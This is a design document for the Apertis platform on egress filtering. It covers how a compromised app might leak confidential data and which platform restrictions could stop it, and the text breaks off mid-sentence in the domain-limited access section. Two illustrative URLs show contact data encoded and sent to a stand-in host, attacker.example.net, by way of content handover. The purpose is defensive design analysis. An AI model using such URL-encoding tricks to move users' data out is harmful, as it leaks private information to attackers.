



Egress filtering

# Contents

2	Assumptions . . . . .	2
3	Use-cases . . . . .	3
4	Purely offline application . . . . .	3
5	Application without direct Internet access . . . . .	6
6	Full Internet access . . . . .	9
7	Lower-level networking . . . . .	12
8	Attack detection . . . . .	13
9	Recommendations . . . . .	13
10	Possible extensions . . . . .	13
11	Internet access limited to common protocols . . . . .	13
12	Domain-limited Internet access . . . . .	14
13	Design notes . . . . .	17
14	References . . . . .	18

15       This way to the egress! —attributed to P. T. Barnum<sup>1</sup>

16   An application that handles confidential data might have a security vulnerability  
17   that leads to it becoming controlled by an attacker. This design aims to mitigate  
18   such attacks.

## Assumptions

20   We assume that the user has some confidential data (for example the contents  
21   of their address book), accessible to a particular application bundle, and that  
22   an attacker's goal is to gain access to that confidential data.

23   We assume that an application bundle with access to confidential data might be-  
24   come attacker-controlled due to a security vulnerability in the implementation  
25   of that application bundle, or in libraries that it uses. For example, there might  
26   be a security vulnerability in a JPEG decoding library used by the address-  
27   book user interface; an attacker might be able to exploit this vulnerability by  
28   publishing a crafted JPEG image in a vCard, so that when the image is de-  
29   coded and displayed by the address-book user interface, arbitrary instructions  
30   of the attacker's choice are executed with the privileges of the address-book user  
31   interface (*arbitrary code execution*).

32   We assume that if other application bundles on the device are also controlled  
33   by the attacker, those bundles do not have privileges that the bundle under  
34   discussion does not have. In other words, we do not attempt to protect against  
35   a scenario where the attacker has independently compromised one app bundle  
36   which can access confidential data but not the Internet, and a second app bundle  
37   which can access the Internet but not confidential data, and now aims to make  
38   those app-bundles conspire to send confidential data to the Internet.

---

<sup>1</sup>[https://en.wikipedia.org/wiki/Barnum%27s\\_American\\_Museum#Attractions](https://en.wikipedia.org/wiki/Barnum%27s_American_Museum#Attractions)

39 The rationale for this assumption is that if the conspiring app-bundles both have  
 40 access to a shared storage area such as a USB thumb drive, or an area of the  
 41 filesystem designated for inter-app sharing such as Android's *public storage di-*  
 42 *rectory*<sup>2</sup>, then we cannot prevent them from using that area to communicate;  
 43 because the *Multi-User design document*<sup>3</sup> calls for audio and video files to be  
 44 stored in a shared location, we must assume that at least some app-bundles are  
 45 able to use it. A rational attacker would choose to target app-bundles which do  
 46 have access to the shared storage area, in order to make use of this mechanism.  
 47 Additionally, fully protecting against that scenario would require that we elimi-  
 48 nate any other *covert channels*<sup>4</sup> between the app-bundles. The standard model  
 49 for formalizing covert channels is to set an upper bound on the rate at which one  
 50 of the conspiring app-bundles may transfer data to the other, and ensure that  
 51 the total bandwidth of all possible covert channels cannot exceed the permitted  
 52 rate.

53 For attacks where it is relevant whether the attacker has control over the net-  
 54 work, we consider three threat models representing different assumptions:

- 55 1. *Attacker controls a server*: The attacker controls one or more Internet  
 56 hosts (for example the attacker might have ordinary home/business broad-  
 57 band, be a customer of a generic hosting platform such as Amazon AWS,  
 58 or control a “botnet” of compromised home/business machines). None of  
 59 the servers controlled by the attacker are directly related to either the  
 60 Apertis device, or any of the servers with which the application being  
 61 considered would normally communicate.
- 62 2. *Passive network attacks*: The attacker has all the capabilities from the pre-  
 63 vious threat model, and can additionally perform passive attacks (eaves-  
 64 drop on messages) on the local links used by the Apertis device (including  
 65 Wi-Fi, Bluetooth, and cellular networks such as 4G used to connect to an  
 66 Internet gateway), or on the path between the gateway and any remote  
 67 server.
- 68 3. *Active network attacks*: The attacker has all the capabilities from the pre-  
 69 vious threat model, and can additionally perform active attacks (suppress  
 70 desired messages, or generate undesired messages).

## 71 Use-cases

### 72 Purely offline application

73 Suppose the applications and agents in a bundle process confidential data, but  
 74 never require either Internet access or communication with other applications.  
 75 For example, an application to display detailed information about the vehicle,  
 76 including sensitive data such as serial numbers, might not have any need to

<sup>2</sup><https://developer.android.com/reference/android/os/Environment.html#getExternalStoragePublicDirectory%28java.lang.String%29>

<sup>3</sup><https://www.apertis.org/concepts/multiuser/>

<sup>4</sup>[https://en.wikipedia.org/wiki/Covert\\_channel](https://en.wikipedia.org/wiki/Covert_channel)

77 communicate with any other application.

- 78 • **Unresolved:** is there a more common use-case for this? I considered doc-  
79 umenting this in terms of something like a stored-password manager, but it  
80 seems likely that the majority of applications would want to communicate  
81 with other applications somehow; even something as limited and security-  
82 sensitive as a stored-password manager would probably benefit from the  
83 ability to send passwords to the relevant application. Conversely, simple  
84 games such as Sudoku or Hitori, or simple utilities such as a calculator,  
85 have no need for Internet access but also do not have access to any con-  
86 fidential data; isolating these applications from the Internet would be a  
87 good idea from the perspective of “least-privilege”, but does not actually  
88 prevent any confidential data from being propagated, because they have  
89 no confidential data to propagate.

90 Suppose an attacker somehow gains control over such an application, as de-  
91 scribed in **Assumptions**. Our goal in situations like this is to prevent the at-  
92 tacker from copying the user’s confidential data into a location where it can be  
93 read by the attacker.

- 94 • **Unresolved:** if it does not communicate with networks or other applica-  
95 tions, how would an attacker achieve this?

96 The application bundle must not be able to send the user’s confidential data  
97 directly.

- 98 • The platform must not allow that application bundle to send messages  
99 with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks  
100 via networking system calls such as `socket()`. This must be **recorded as a**  
101 **probable attack**.
  - 102 – If this requirement is not met, then confidentiality could be defeated  
103 by **passive network attacks**.
- 104 • The platform must not allow that application bundle to send messages  
105 with attacker-chosen contents via inter-process communication with net-  
106 work management services such as BlueZ or ConnMan. This must be  
107 **recorded as a probable attack**.
  - 108 – If this requirement is not met, then confidentiality could be defeated  
109 by **passive network attacks**.
- 110 • The platform must not allow that application bundle to send messages  
111 with attacker-chosen contents via platform services that interact with the  
112 network, such as the Newport download manager. This must be **recorded**  
113 **as a probable attack**.
  - 114 – For example, if this was not prevented, application bundle could con-  
115 struct one or more URLs that encode pieces of the user’s confidential  
116 data, on a server controlled by the attacker, and instruct Newport to  
117 download them; that would effectively result in giving the confiden-  
118 tial data to the server.
  - 119 – If this requirement is not met, then confidentiality could be defeated

120 by **control of any server**.

121 The application bundle should also not be able to send the user's confidential  
 122 data *indirectly*, by asking that another application bundle does so.

- 123 • The application bundle should not be allowed to pass messages to other  
 124 application bundles via **Content hand-over**<sup>5</sup>.
  - 125 – Applications which require content hand-over for their normal func-  
 126 tionality are outside the scope of this scenario, and are described in  
 127 **Application without direct Internet access**.
- 128 • The application bundle should not be allowed to pass messages to other  
 129 application bundles via inter-process communication mechanisms such as  
 130 those described in **Data sharing**<sup>6</sup>.
  - 131 – Applications which require IPC for their normal functionality are  
 132 outside the scope of this scenario, and are described in **Application**  
 133 **without direct Internet access**.

134 **Unresolved:** Is this scenario something that we need to address, or is it suffi-  
 135 cient to apply the weaker requirements of an **Application without direct Internet**  
 136 **access**?

137 **Other systems** Android partially supports this scenario via the **INTERNET**  
 138 **permission flag**<sup>7</sup>. Applications without that flag are not allowed to open network  
 139 sockets. However, Android **does not support preventing indirect URL derefer-**  
 140 **encing via content handover**<sup>8</sup>: any Android application can “fire an intent” which  
 141 will result in a GET request to an arbitrary URL. This effectively reduces this  
 142 scenario to the weaker requirements of an **Application without direct Internet**  
 143 **access**.

144 Android also does not support preventing its equivalents of our **Content hand-**  
 145 **over**<sup>9</sup> and **communication with public interfaces**<sup>10</sup>: any application can declare  
 146 a custom *intent* (analogous to our public interfaces), and any application can  
 147 register to receive implicit intents matching a pattern (analogous to our con-  
 148 tent hand-over). Again, this is more similar to our **Application without direct**  
 149 **Internet access** scenario.

150 As far as we can determine from its public documentation, iOS does  
 151 not support this scenario at all. Sandboxed OS X applications par-  
 152 tially support this scenario via the `com.apple.security.network.server` and  
 153 `com.apple.security.network.client` **entitlement flags**<sup>11</sup>, but these flags are not

<sup>5</sup>[https://www.apertis.org/concepts/content\\_hand-over/](https://www.apertis.org/concepts/content_hand-over/)

<sup>6</sup>[https://www.apertis.org/architecture/data\\_sharing/](https://www.apertis.org/architecture/data_sharing/)

<sup>7</sup><https://developer.android.com/reference/android/Manifest.permission.html#INTERNET>

T

<sup>8</sup><https://developer.android.com/guide/components/intents-common.html#Browser>

<sup>9</sup>[https://www.apertis.org/concepts/content\\_hand-over/](https://www.apertis.org/concepts/content_hand-over/)

<sup>10</sup>[https://www.apertis.org/architecture/data\\_sharing/](https://www.apertis.org/architecture/data_sharing/)

<sup>11</sup>[https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\\_ref/doc/uid/TP40011](https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011)

154 available on iOS, and iOS does not appear to offer the ability to deny network  
155 access to an installed application<sup>12</sup> –perhaps because if it did, users would  
156 be able to turn off advertising-supported applications’ability to download new  
157 advertisements.

## 158 Application without direct Internet access

159 Some applications and agents never require direct Internet access. For example,  
160 if we assume that a background service such as `evolution-data-server` is responsi-  
161 ble for managing the address book and performing online synchronization, then  
162 a human-machine interface (HMI, user interface) for the user’s address book  
163 has no legitimate reason to contact the Internet. However, even these limited  
164 applications and agents will typically require the ability to carry out Content  
165 hand-over<sup>13</sup>, which is the major difference between this scenario and the Purely  
166 offline application.

167 Suppose the attacker has been able to gain control over this application bundle,  
168 as described in Assumptions. The application bundle must not be able to send  
169 the user’s confidential data directly.

- 170 • The requirements here are the same as for a Purely offline application  
171 being prevented from carrying out direct Internet access.

172 Suppose additionally that the address book app requires the ability to perform  
173 Content hand-over<sup>14</sup> for its normal functionality: for example, when the user  
174 taps on the phone number, web page or postal address of a contact, it would be  
175 reasonable for the UX designer to require that content handover to a telephony,  
176 web browser or navigation application is performed.

- 177 • *Non-requirement:* it is not possible to prevent the attacker from sending a  
178 small subset of the user’s confidential data via content handover to other  
179 applications, and we will not attempt to do so. For example, if the address  
180 book app must be allowed to hand over `http://blogs.example.com/alice/`  
181 to the web browser, then the compromised app is equally able to hand over  
182 `http://attacker.example.net/QWxpY2UgU21pdGg7KzQ0IDE2MzIgMTIzNDU2Cg==` to  
183 the same web browser; this could conceivably be the address of a con-  
184 tact’s website (or at least, an algorithmic check cannot determine that it  
185 isn’t), but in fact it results in encoded data representing “Alice Smith;+44  
186 1632 123456”being sent to the attacker.
  - 187 – The example given is deliberately not particularly subtle. A real  
188 attacker would probably use a less obvious encoding.
  - 189 – This results in confidentiality being partially defeated by control of  
190 any server (in this example, `attacker.example.net`).

---

195-CH4-SW1

<sup>12</sup><http://www.howtogeek.com/177711/ios-has-app-permissions-too-and-theyre-arguably-better-than-androids/>

<sup>13</sup>[https://www.apertis.org/concepts/content\\_hand-over/](https://www.apertis.org/concepts/content_hand-over/)

<sup>14</sup>[https://www.apertis.org/concepts/content\\_hand-over/](https://www.apertis.org/concepts/content_hand-over/)

- *Non-requirement:* we probably cannot filter content handover to only allow URIs or file contents that do not look suspicious, because we cannot determine precisely how the application will process URIs that it receives, and what actions different components of a URI or file will trigger: an application might respond to a URI in an unexpected way, for example responding to `https://good.example.com/benign?ref=attacker.example.net&data=Alice+Smith%3B%2B44+1632+123456` by sending the specified address-book data to `attacker.example.net`.
- If the compromised app carries out content handover with messages that are suspiciously large or frequent, the platform may respond to this in some way. For example, this could indicate an attempt to transmit the user's entire address book.
  - This mitigates the loss of confidentiality.
  - The platform may *assess this as a potential attack*, but we recommend that this is not done, because it would be easy for a non-compromised, non-malicious application to trigger this detection if a corner-case in its normal operation leads to an unexpected burst of activity.
  - The platform may respond by delaying (rate-limiting, throttling) the processing of further messages, so that all messages from the app will be processed eventually, but the rate at which content handover can send data is limited to an acceptable level. We recommend that this is done instead of triggering attack-detection.
- If the compromised app carries out content handover while in the background, the platform may respond to this in some way.
  - The platform may *assess this as a potential attack*.
  - The platform may delay processing of the second content handover transaction until the next time the sending app is in the foreground, effectively rate-limiting content handover to one handover transaction per time the user switches back to the sending app.
  - This mitigates the loss of confidentiality.
  - **Unresolved:** Are there situations where content handovers from the background would be a valid thing for a non-compromised app to do?
- *Possible enhancement:* If the compromised app carries out content handover while in the foreground, but not in response to user action, the platform may *assess this as a potential attack*.
  - **Unresolved:** This appears unlikely to be useful in practice. If an app is in the foreground, then the user is likely to be interacting with it; the app could interpret any user interaction, such as a tap on a contact's name in the contact list, as triggering content handover as a side-effect in addition to having its usual function.
- To discourage this mode of attack, content hand-over should be made obvious to the user. For example, the Didcot content handover service could impose the policy that whenever app A hands over content to app B, app B is brought into the foreground.
  - This mitigates the loss of confidentiality by making it detectable by the user.

- **Unresolved:** Are there situations where this would be undesired?
- If the user becomes suspicious and terminates the application, any incomplete content hand-over transactions that had been delayed by rate-limiting and not yet acknowledged should be cancelled.
- *Trade-off:* if each recipient of content hand-over requires user confirmation before carrying out external transmission such as Internet access or a phone call based on content that was handed over, then this attack can be avoided. However, the well-known problem with this approach is that [users have been conditioned to click “OK” to all prompts](#)<sup>15</sup>: if the user perceives a confirmation prompt as getting in the way of what they wanted to do, they will allow it. If the user taps on the phone number or web page of a contact in the address book HMI, it is reasonable to expect that the requested action is performed immediately; a user getting an unexpected prompt in this situation would most likely be annoyed by the prompt, press “OK”, and get into the habit of pressing “OK” to all equivalent prompts in future, even those that are actually protecting them from an unrequested action.
  - This would mitigate the loss of confidentiality, but is probably not useful in practice.

Suppose the address book app requires the ability to communicate with apps/agents that implement a [public interface](#)<sup>16</sup> for its normal functionality: for example, it might have a button to perform a device-wide search for files and other content items that mention a contact’s name.

- *Non-requirement:* it is not possible to prevent the attacker from sending the user’s confidential data to other applications, and we will not attempt to do so. For example, if the address book app must be allowed to carry out a [Sharing](#)<sup>17</sup> operation, then the compromised app is equally able to “share” the user’s entire address book with any registered sharing provider.
  - Note that [our assumption that the attacker does not control other applications with more privileges](#) applies here: if that assumption holds, then sending the user’s address book to a non-malicious, non-attacker-controlled sharing provider does not help the attacker to achieve their goal.
- If the compromised app sends messages that are suspiciously large or frequent, the platform may apply rate-limiting, similar to what was described above for content hand-over.
  - We do not recommend that this is [assessed as a potential attack](#), for the same reasons as for content hand-over. If public interfaces are to be a useful extension mechanism without requiring centralized oversight by Apertis developers, then we must allow relatively arbitrary uses.

<sup>15</sup>[https://www.schneier.com/blog/archives/2006/04/microsoft\\_vista.html](https://www.schneier.com/blog/archives/2006/04/microsoft_vista.html)

<sup>16</sup>[https://www.apertis.org/architecture/data\\_sharing/](https://www.apertis.org/architecture/data_sharing/)

<sup>17</sup><https://www.apertis.org/concepts/sharing/>



- 278 • If the compromised app carries out sharing while in the background, the  
279 platform might **assess this as a potential attack**.
- 280   – **Unresolved:** Are there situations where this would be a valid thing  
281 for a non-compromised app to do?
- 282 • *Possible enhancement:* If the compromised app carries out sharing while  
283 in the foreground, but not in response to user action, the platform may  
284 **assess this as a potential attack**.
- 285   – **Unresolved:** This seems unlikely to be useful in practice; the same  
286 issues apply here as for content hand-over.
- 287 • To discourage this mode of attack, whenever a public interface results in  
288 external transmission, the implementer of the public interface should make  
289 this obvious to the user.
- 290   – This is entirely up to the implementer of the public interface: the  
291 platform cannot enforce this. However, if we assume that the imple-  
292 menter of the public interface is not attacker-controlled, it is reason-  
293 able to assume that it will not behave maliciously.
- 294   – **Unresolved:** Are there situations where this would be undesired?
- 295 • *Trade-off:* if each recipient of messages to a public interface requires user  
296 confirmation before carrying out external transmission such as Internet  
297 access or a phone call based on content that was handed over, then this  
298 attack can be avoided.
- 299   – Again, this is entirely up to the implementer of the public interface,  
300 and the platform cannot enforce this.
- 301   – As with content hand-over, this must be balanced against convenience  
302 and UX expectations.

303 **Other systems** Android supports this scenario via the **INTERNET permis-**  
304 **sion flag**<sup>18</sup>. Applications without that flag are not allowed to open network  
305 sockets, and can only communicate with the Internet via mechanisms analo-  
306 gous to our **Content hand-over**<sup>19</sup> and **Data sharing**<sup>20</sup>.

307 However, iOS does not appear to support this scenario, as described in **Purely**  
308 **offline application**.

### 309 Full Internet access

310 Suppose an application handles confidential data, and requires general-purpose  
311 Internet access. For example, a generic Web browser such as Apertis“Rhayader”  
312 browser falls into this category.

313 Suppose there is a security vulnerability in a component receiving data from the  
314 Internet; for example, the same JPEG decoding library vulnerability described  
315 in **Application without direct Internet access**.

<sup>18</sup><https://developer.android.com/reference/android/Manifest.permission.html#INTERNE>

<sup>19</sup>[https://www.apertis.org/concepts/content\\_hand-over/](https://www.apertis.org/concepts/content_hand-over/)

<sup>20</sup>[https://www.apertis.org/architecture/data\\_sharing/](https://www.apertis.org/architecture/data_sharing/)

316 Again, our goal is to prevent the attacker from copying the user's confidential  
317 data, such as their passwords, into a location where it can be read by the  
318 attacker.

- 319 • *Non-requirement:* If the application needs to contact servers without end-  
320 to-end confidentiality protection (HTTPS), for example using HTTP or  
321 FTP, then an attacker capable of at least **passive attacks** could send the  
322 confidential data over such a connection, and eavesdrop on that connec-  
323 tion to obtain the confidential data. This cannot be solved, except by  
324 **restricting the application to protocols known to preserve confidentiality**.
- 325 • Unlike the **Application without direct Internet access**, the platform should  
326 allow that application bundle to send messages via platform services that  
327 interact with the network, such as the Newport download manager.
  - 328 – *Rationale: Preventing this is not helpful, because the application could*  
329 *equally well send those messages itself.*

330 If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality  
331 in the presence of an attacker who can perform **passive network attacks**.

- 332 • **Not feasible:** It is not feasible to preserve confidentiality of data sent via  
333 HTTP or FTP without an app-specific confidentiality layer, because we  
334 assume that the attacker is able to read local wireless networking traffic,  
335 which includes the clear-text HTTP or FTP transactions.
- 336 • The platform should encourage the use of end-to-end-confidential protocols  
337 such as HTTPS.
- 338 • *Trade-off:* In principle we could discourage unencrypted traffic by only al-  
339 lowing the majority of applications to use HTTPS on port 443, and requir-  
340 ing a permissions flag for anything else. However, this would contribute  
341 to the “protocol ossification” described in papers such as **RFC 3205**<sup>21</sup>, ‘**Os-**  
342 **sification of the Internet**’ and ‘**Ossification: a result of not even trying?**’  
343 , in which transactions are disguised as HTTP on port 80 or HTTPS on  
344 port 443 to bypass interference from well-meaning gateways, undermining  
345 the ability to classify traffic or use better-performing protocols such as  
346 UDP/RTP where they are appropriate.

347 One mechanism that might be proposed is to require that the platform is able to  
348 perform **deep packet inspection**<sup>22</sup> on all network traffic; this is essentially a **web**  
349 **application firewall**<sup>23</sup>, which is a specialized form of **application-level gateway**<sup>24</sup>.  
350 However, we do not believe this to be particularly useful here. Normally, web  
351 application firewalls are deployed between the Internet and an *origin server*  
352 (web server), to protect the origin server from attackers on the Internet. This  
353 means the web application firewall can make assumptions about the forms of  
354 traffic that are or are not legitimate, based on the known requirements of the  
355 web application being run on the web server. However, this deployment would

<sup>21</sup><https://tools.ietf.org/html/rfc3205>

<sup>22</sup>[https://en.wikipedia.org/wiki/Deep\\_packet\\_inspection](https://en.wikipedia.org/wiki/Deep_packet_inspection)

<sup>23</sup>[https://owasp.org/www-community/Web\\_Application\\_Firewall](https://owasp.org/www-community/Web_Application_Firewall)

<sup>24</sup>[https://en.wikipedia.org/wiki/Application-level\\_gateway](https://en.wikipedia.org/wiki/Application-level_gateway)

356 instead be between a user agent (web client) and the Internet, aiming to protect  
357 user agents with unknown requirements and behaviour patterns. This makes  
358 the design of a useful web application firewall much more difficult.

- 359 • **Not necessarily feasible:** Ideally, the platform would not allow confi-  
360 dential data to be sent to Internet sites other than those that the user  
361 intends. However, this is not feasible to achieve for several reasons:
  - 362 – We assume that the attacker controls the compromised application,  
363 and the endpoint to which it is sending data. The attacker could  
364 avoid deep-packet inspection by applying strong end-to-end confiden-  
365 tiality to the data sent (for example by using public-key cryptogra-  
366 phy), or by applying a weak obfuscation mechanism that is neverthe-  
367 less not specifically known to the platform.
  - 368 – If encryption is used, we cannot distinguish between encrypted non-  
369 confidential data and encrypted confidential data.
  - 370 – Even if encryption is not used, we cannot necessarily distinguish be-  
371 tween confidential data which is being sent to an endpoint that has a  
372 legitimate need to handle it (for example sending the user’s address  
373 book to a PIM application, Facebook, or LinkedIn) and confidential  
374 data which is being sent to an endpoint that does not (for example  
375 sending the user’s address book to the attacker’s server).
  - 376 – Because the platform does not have an in-depth understanding of  
377 what the application aims to do (that would defeat the purpose of  
378 an app framework), it cannot apply a “default-deny” policy in which  
379 only the expected messages are permitted. Deep packet inspection  
380 in this scenario would necessarily have to fall back to “enumerating  
381 badness”, which necessarily lags behind the discovery of new threats.
  - 382 – Similarly, because the platform does not understand the syntax of  
383 arbitrary network protocols, it could only guess at the meaning (se-  
384 mantics) of the content sent by the application.

385 If a technique such as end-to-end encrypted HTTPS is used, we can only detect  
386 suspicious transactions if the platform is empowered to break the security of the  
387 HTTPS connection, for example via one of these techniques, neither of which  
388 appears to be desirable.

- 389 • **Not recommended:** arranging for the application to provide each TLS  
390 connection’s *master secret* to an otherwise non-intercepting proxy, allowing  
391 that proxy to decrypt the traffic that it passes through.
  - 392 – The non-intercepting proxy would become a very attractive target for  
393 attackers, because finding a vulnerability in it would provide access  
394 to all confidential traffic.
  - 395 – An attacker could still embed small amounts of confidential data in  
396 the TLS handshake by choosing a suitable value for the pre-master  
397 secret, which is not something we can meaningfully filter (since it is  
398 meant to be random, and strongly encrypted data is indistinguishable  
399 from randomness).

- All the problems with deep packet inspection, noted above, still apply.
- **Not recommended:** arranging for the application to trust a CA certificate provided by a [TLS interception proxy](#)<sup>25</sup> on the device and acting as a “man-in-the-middle”
- A man-in-the-middle is one of the attacks that HTTPS is designed to prevent, which means that recent/future HTTPS techniques such as [certificate pinning](#)<sup>26</sup> will tend to include measures that should defeat it.
- Terminating the TLS connection at the proxy can also lead to [new vulnerabilities](#)<sup>27</sup> for the application.
- The same single-point-of-failure reasoning as above applies.
- All the problems with deep packet inspection, noted above, still apply.

**Other systems** In Android, this is governed by the same `INTERNET` permissions flag as [Internet access limited to common protocols](#).

Similarly, iOS does not appear to support this scenario: as discussed in [Application without direct Internet access](#), all iOS apps can contact the network.

## Lower-level networking

The next step beyond [Full Internet access](#) is the scenario of an application that cannot be restricted to Internet protocols either; for example, an application making use of direct Bluetooth, Wi-Fi, NFC or Ethernet communication (at the link layer rather than the transport layer) might fall into this category.

The goals, requirements and feasibility problems here are very similar to [Full Internet access](#), except that meaningful proxying for arbitrary link-layer networking is likely to be more difficult than proxying arbitrary transport-layer networking.

Additionally, because there is a tendency for other nearby devices to trust messages received via local wireless networks such as Bluetooth, the ability to carry out this low-level networking should be restricted.

- Applications that do not require a particular form of local communication for their normal functionality must be prevented from using it. This mitigates the effect of a compromised application: nearby devices can only be attacked if the compromised application happens to be one that has permission to use the relevant form of local communication.

**Other systems** Android requires specific permissions flags (`BLUETOOTH`, `BLUETOOTH_ADMIN`, `BLUETOOTH_PRIVILEGED`, `CHANGE_WIFI_MULTICAST_STATE`, `CHANGE_WIFI_STATE`, `NFC`, `TRANSMIT_IR`) for low-level networking.

<sup>25</sup><http://www.zdnet.com/article/how-the-nsa-and-your-boss-can-intercept-and-break-ssl/>

<sup>26</sup>[https://owasp.org/www-community/controls/Certificate\\_and\\_Public\\_Key\\_Pinning](https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning)

<sup>27</sup>[https://owasp.org/www-community/controls/Certificate\\_and\\_Public\\_Key\\_Pinning#When\\_Do\\_You\\_Whitelist.3F](https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning#When_Do_You_Whitelist.3F)

436 iOS prompts the user before the first time a similar action is performed.

## 437 **Attack detection**

438 The platform should have a heuristic for detecting whether an app has been  
439 compromised or is malicious.

- 440 • The points described as a “probable attack” and “potential attack” above  
441 may be used as input into this heuristic.
- 442 • Other inputs outside the scope of this design, such as AppArmor alerts  
443 for attempts to access files not allowed by its profile, may be used as input  
444 into this heuristic.
- 445 • If this heuristic considers the app to be compromised, the platform may  
446 prevent it from running altogether.
- 447 • If this heuristic considers the app to be somewhat likely to be compro-  
448 mised, the platform may allow it to run, but prevent it from carrying out  
449 content handover or carrying out inter-process communication with any  
450 non-platform process.
- 451 – **Unresolved:** Is this capability required?
- 452 • If this heuristic considers the app to be unlikely to be compromised, the  
453 platform should allow it to run unhindered.
- 454 • *Non-requirement:* The exact design of this heuristic is outside the scope  
455 of this document, and will be covered by a separate design.

## 456 **Recommendations**

457 *TODO: add recommendations after a provisional set of requirements has been*  
458 *agreed*

## 459 **Possible extensions**

### 460 **Internet access limited to common protocols**

461 Many applications and agents require Internet access to communicate with ar-  
462 bitrary sites, but can be restricted to specific protocols without loss of function-  
463 ality. For example, a general-purpose web browser would typically only require  
464 support for HTTPS, HTTP and FTP. Additionally, it might only require access  
465 to the default network ports for those protocols.

466 We could conceivably require that these applications are restricted to those spe-  
467 cific protocols. However, it is not clear that this would enable more meaningful  
468 filtering than in the **Full Internet access** case: the majority of the issues outlined  
469 there still apply.

470 If we were to go too far with encouraging the use of well-known protocols such  
471 as HTTPS, for example by requiring a permissions flag and special auditing for  
472 anything else, this risks the “protocol ossification” problem described in papers

473 such as [RFC 3205](#)<sup>28</sup>, ‘Ossification of the Internet’ and ‘Ossification: a result of  
474 not even trying?’, in which transactions are disguised as HTTP on port 80 or  
475 HTTPS on port 443 to bypass interference from well-meaning gateways such as  
476 our platform, undermining the ability to classify traffic or use better-performing  
477 protocols such as UDP/RTP where they are appropriate.

478 We recommend that the Apertis platform should have advisory/discretionary  
479 mechanisms encouraging the use of HTTPS, to reduce the chance that an appli-  
480 cation will accidentally use an insecure connection: for example, general-purpose  
481 libraries such as libsoup could be given a mode where they reject insecure con-  
482 nections to some or all domains selected by the application manifest, similar  
483 to Apple’s App Transport Security. However, this specifically does not provide  
484 egress filtering or address the attacks described in this document, because an at-  
485 tacker with control over the application code could bypass it by using lower-level  
486 networking functionality.

487 **Other systems** Android [specifically does not support this scenario](#)<sup>29</sup>. Appli-  
488 cations with the `INTERNET` permissions flag can contact any Internet host using  
489 any protocol.

490 It is not entirely clear whether iOS [App Transport Security](#)<sup>30</sup> is able to prevent  
491 unencrypted HTTP operations by a compromised process. ATS does prevent  
492 accidental unencrypted HTTP operations when higher-level library functions  
493 are used, analogous to what would happen in Apertis if libsoup could be con-  
494 figured to forbid unencrypted HTTP. However, it is not clear from the public  
495 documentation whether iOS apps are able to bypass ATS by using lower-level  
496 system calls such as `socket()`; if they are, then a compromised application could  
497 still send unencrypted HTTP requests. [Xamarin documentation](#)<sup>31</sup> describes the  
498 C# APIs `HttpWebRequest` and `WebServices` as unaffected by ATS, which suggests  
499 that lower-level system calls do indeed bypass ATS. This matches the ATS-like  
500 mechanism that we recommend above.

## 501 Domain-limited Internet access

502 Some applications and agents only require Internet access to communicate with  
503 a particular list of domains via well-known protocols. For example, a Twitter  
504 client might only need the ability to communicate with hosts in the `twitter.com`  
505 and `twimg.com` domains.

506 This is implementable in principle, but is complex, and it is not clear that it  
507 provides any additional security that cannot be circumvented by an attacker.  
508 We recommend not addressing this scenario.

---

<sup>28</sup><https://tools.ietf.org/html/rfc3205>

<sup>29</sup><https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg>

<sup>30</sup>[https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple\\_ref/doc/uid/TP40009251-SW33](https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33)

<sup>31</sup><https://docs.microsoft.com/en-gb/xamarin/ios/platform/introduction-to-ios9/#app-transport-security>

509 **Unresolved:** Do we require specific support for this scenario, or should it be  
510 treated as **Internet access limited to common protocols** or **Full Internet access**?

511 Suppose there is a security vulnerability in a component receiving data from the  
512 Internet; for example, the same JPEG decoding library vulnerability described  
513 in **Application without direct Internet access**.

514 Again, our goal is to prevent the attacker from copying the user's confidential  
515 data, such as their Twitter password, into a location where it can be read by  
516 the attacker.

- 517 • *Non-requirement:* We cannot prevent the compromised application from  
518 contacting the domains that it normally needs to contact. For example,  
519 we cannot prevent a compromised Twitter client from sending the user's  
520 Twitter password to the attacker via a Twitter message.
- 521 • *Non-requirement:* If the application needs to contact servers without end-  
522 to-end confidentiality protection (HTTPS), for example using HTTP or  
523 FTP, then an attacker capable of at least **passive attacks** could send the  
524 confidential data over such a connection, and eavesdrop on that connection  
525 to obtain the confidential data. This cannot be solved, except by requiring  
526 HTTPS.
- 527 • As with the **Application without direct Internet access**, the platform must  
528 not allow that application bundle to send messages with attacker-chosen  
529 contents on Wi-Fi, Bluetooth or cellular networks via networking system  
530 calls such as `socket()`. This must be **recorded as a probable attack**.
  - 531 – If this requirement is not met, then confidentiality could be defeated  
532 by **passive network attacks**.
- 533 • As with the **Application without direct Internet access**, the platform must  
534 not allow that application bundle to send messages with attacker-chosen  
535 contents via inter-process communication with network management ser-  
536 vices such as BlueZ or ConnMan. This must be **recorded as a probable**  
537 **attack**.
  - 538 – If this requirement is not met, then confidentiality could be defeated  
539 by **passive network attacks**.
- 540 • The platform must not allow that application bundle to send messages  
541 with attacker-chosen contents *to domains outside the allowed set* via plat-  
542 form services that interact with the network, such as the Newport down-  
543 load manager. This must be **recorded as a probable attack**.
  - 544 – If this requirement is not met, then confidentiality could be defeated  
545 by **control of any server**.
- 546 • *Non-requirement:* The platform may prevent the application from sending  
547 messages with attacker-chosen contents to domains in the allowed set via  
548 services such as Newport, but unlike the **Application without direct Inter-**  
549 **net access** scenario, this is not required. For example, if the Twitter client  
550 in our example asks Newport to download a resource from `twimg.com`, this  
551 may be either allowed or denied.
  - 552 – *Rationale:* Preventing this is not helpful, because the application could

553 *equally well send those messages itself.*

554 • Content handover and inter-process communication should be treated the

555 same as for a **Application without direct Internet access**.

556 If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality

557 in the presence of an attacker who can perform **passive network attacks**, the same

558 as for **Full Internet access**.

559 An attacker able to **alter traffic on the vehicle's connection to the Internet** could

560 attempt to defeat this mechanism by intercepting DNS queries to resolve host-

561 names in the allowed domains (for example `twitter.com`), and replying with

